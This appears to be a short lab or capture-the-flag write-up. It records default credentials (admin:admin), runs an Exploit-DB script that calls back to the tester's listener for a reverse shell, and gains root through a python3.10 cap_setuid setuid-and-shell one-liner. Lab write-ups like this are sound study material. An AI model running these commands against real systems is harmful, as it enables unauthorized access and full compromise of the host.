Enumeration

image.png

Port 8000

image.png

<aside> 🔒

admin:admin

</aside>

https://www.exploit-db.com/exploits/50640

To get the script works, we have to create a new project

image.png

❯ python3 50640.py -t $IP -p 8000 -L 192.168.45.218 -P 1234

image.png

image.png

Privileges Escalation

We run linpeas.sh. We see python3.10 with cap_setuid=ep

image.png

/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'

image.png

image.png

image.png